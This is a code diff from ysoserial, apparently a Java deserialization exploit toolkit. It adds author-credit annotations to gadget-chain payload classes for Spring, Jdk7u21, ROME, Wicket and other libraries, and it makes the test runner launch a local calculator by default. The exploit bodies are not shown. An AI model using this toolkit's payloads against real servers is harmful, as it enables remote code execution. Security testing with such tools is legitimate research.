+    "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
+@Authors({ Authors.MATTHIASKAISER })
 public class JavassistWeld1 implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {
@@ -6,6 +6,7 @@ import java.util.LinkedHashSet;

 import javax.xml.transform.Templates;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
@@ -53,8 +54,9 @@ LinkedHashSet.readObject()
 */

@SuppressWarnings({ "rawtypes", "unchecked" })
-@Dependencies()
@PayloadTest ( precondition = "isApplicableJavaVersion")
+@Dependencies()
+@Authors({ Authors.FROHOFF })
 public class Jdk7u21 implements ObjectPayload<Object> {

 	public Object getObject(final String command) throws Exception {
@@ -10,6 +10,7 @@ import java.util.Arrays;
 import java.util.Comparator;
 import java.util.PriorityQueue;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.util.Reflections;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
@@ -41,6 +42,7 @@ import ysoserial.payloads.util.PayloadRunner;
@PayloadTest(skip="non RCE")
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({ "org.python:jython-standalone:2.5.2" })
+@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 })
 public class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {

    public PriorityQueue getObject(String command) throws Exception {
@@ -2,6 +2,7 @@ package ysoserial.payloads;

 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import org.mozilla.javascript.*;
+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
@@ -16,6 +17,7 @@ import java.lang.reflect.Method;
 */
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"rhino:js:1.7R2"})
+@Authors({ Authors.MBECHLER })
 public class MozillaRhino1 implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {
@@ -15,6 +15,7 @@ import org.apache.myfaces.el.CompositeELResolver;
 import org.apache.myfaces.el.unified.FacesELContext;
 import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
@@ -40,6 +41,7 @@ import ysoserial.payloads.util.Reflections;
 * @author mbechler
 */
@PayloadTest(skip="Requires running MyFaces, no direct execution")
+@Authors({ Authors.MBECHLER })
 public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {

    public Object getObject ( String command ) throws Exception {
@@ -2,6 +2,7 @@ package ysoserial.payloads;



+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.PayloadRunner;

@@ -28,6 +29,7 @@ import ysoserial.payloads.util.PayloadRunner;
 * @author mbechler
 */
@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
+@Authors({ Authors.MBECHLER })
 public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {

    public static String[] getDependencies () {
@@ -5,6 +5,7 @@ import javax.xml.transform.Templates;

 import com.sun.syndication.feed.impl.ObjectBean;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.PayloadRunner;
@@ -28,6 +29,7 @@ import ysoserial.payloads.util.PayloadRunner;
 *
 */
@Dependencies("rome:rome:1.0")
+@Authors({ Authors.MBECHLER })
 public class ROME implements ObjectPayload<Object> {

    public Object getObject ( String command ) throws Exception {
@@ -10,6 +10,7 @@ import javax.xml.transform.Templates;

 import org.springframework.beans.factory.ObjectFactory;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
@@ -47,8 +48,9 @@ import ysoserial.payloads.util.Reflections;
 */

@SuppressWarnings({"rawtypes"})
-@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
+@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
+@Authors({ Authors.FROHOFF })
 public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {

 	public Object getObject(final String command) throws Exception {
@@ -11,6 +11,7 @@ import javax.xml.transform.Templates;
 import org.springframework.aop.framework.AdvisedSupport;
 import org.springframework.aop.target.SingletonTargetSource;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
@@ -35,12 +36,13 @@ import ysoserial.payloads.util.Reflections;
 * @author mbechler
 */

+@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies ( {
    "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE",
    // test deps
    "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2"
 } )
-@PayloadTest ( precondition = "isApplicableJavaVersion")
+@Authors({ Authors.MBECHLER })
 public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject ( final String command ) throws Exception {
@@ -71,5 +73,4 @@ public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {
    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
-
 }
@@ -7,6 +7,7 @@ import java.net.URLStreamHandler;
 import java.util.HashMap;
 import java.net.URL;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
@@ -40,6 +41,7 @@ import ysoserial.payloads.util.Reflections;
 */
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies()
+@Authors({ Authors.GEBL })
 public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {
@@ -11,6 +11,7 @@ import org.apache.wicket.util.upload.DiskFileItem;
 import org.apache.wicket.util.io.DeferredFileOutputStream;
 import org.apache.wicket.util.io.ThresholdingOutputStream;

+import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
@@ -45,6 +46,7 @@ import ysoserial.payloads.util.Reflections;
 * blue lobster
 */
@Dependencies({"wicket-util:wicket-util:6.23"})
+@Authors({ Authors.JACOBAINES })
 public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {

    public DiskFileItem getObject(String command) throws Exception {
@@ -0,0 +1,33 @@
+package ysoserial.payloads.annotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.lang.reflect.AnnotatedElement;
+
+@Target(ElementType.TYPE)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface Authors {
+    String FROHOFF = "frohoff";
+    String PWNTESTER = "pwntester";
+    String CSCHNEIDER4711 = "cschneider4711";
+    String MBECHLER = "mbechler";
+    String JACKOFMOSTTRADES = "JackOfMostTrades";
+    String MATTHIASKAISER = "matthias_kaiser";
+    String GEBL = "gebl" ;
+    String JACOBAINES = "jacob-baines";
+
+    String[] value() default {};
+
+    public static class Utils {
+        public static String[] getAuthors(AnnotatedElement annotated) {
+            Authors authors = annotated.getAnnotation(Authors.class);
+            if (authors != null && authors.value() != null) {
+                return authors.value();
+            } else {
+                return new String[0];
+            }
+        }
+    }
+}
@@ -20,5 +20,14 @@ public @interface Dependencies {
 				return new String[0];
 			}
 		}
+
+		public static String[] getDependenciesSimple(AnnotatedElement annotated) {
+		    String[] deps = getDependencies(annotated);
+		    String[] simple = new String[deps.length];
+		    for (int i = 0; i < simple.length; i++) {
+                simple[i] = deps[i].split(":", 2)[1];
+            }
+            return simple;
+        }
 	}
 }
@@ -1,5 +1,6 @@
 package ysoserial.payloads.util;

+import java.io.File;
 import java.util.concurrent.Callable;

 import ysoserial.Deserializer;
@@ -15,11 +16,12 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
 */
@SuppressWarnings("unused")
 public class PayloadRunner {
-	public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
+
+    public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
 		// ensure payload generation doesn't throw an exception
 		byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
 			public byte[] call() throws Exception {
-				final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
+				final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();

 				System.out.println("generating payload object(s) for command: '" + command + "'");

@@ -41,4 +43,21 @@ public class PayloadRunner {

 	}

+    private static String getDefaultTestCmd() {
+	    return getFirstExistingFile(
+	        "C:\\Windows\\System32\\calc.exe",
+            "/Applications/Calculator.app/Contents/MacOS/Calculator",
+            "/usr/bin/gnome-calculator",
+            "/usr/bin/kcalc"
+        );
+    }
+
+    private static String getFirstExistingFile(String ... files) {
+        for (String path : files) {
+            if (new File(path).exists()) {
+                return path;
+            }
+        }
+        throw new UnsupportedOperationException("no known test executable");
+    }
 }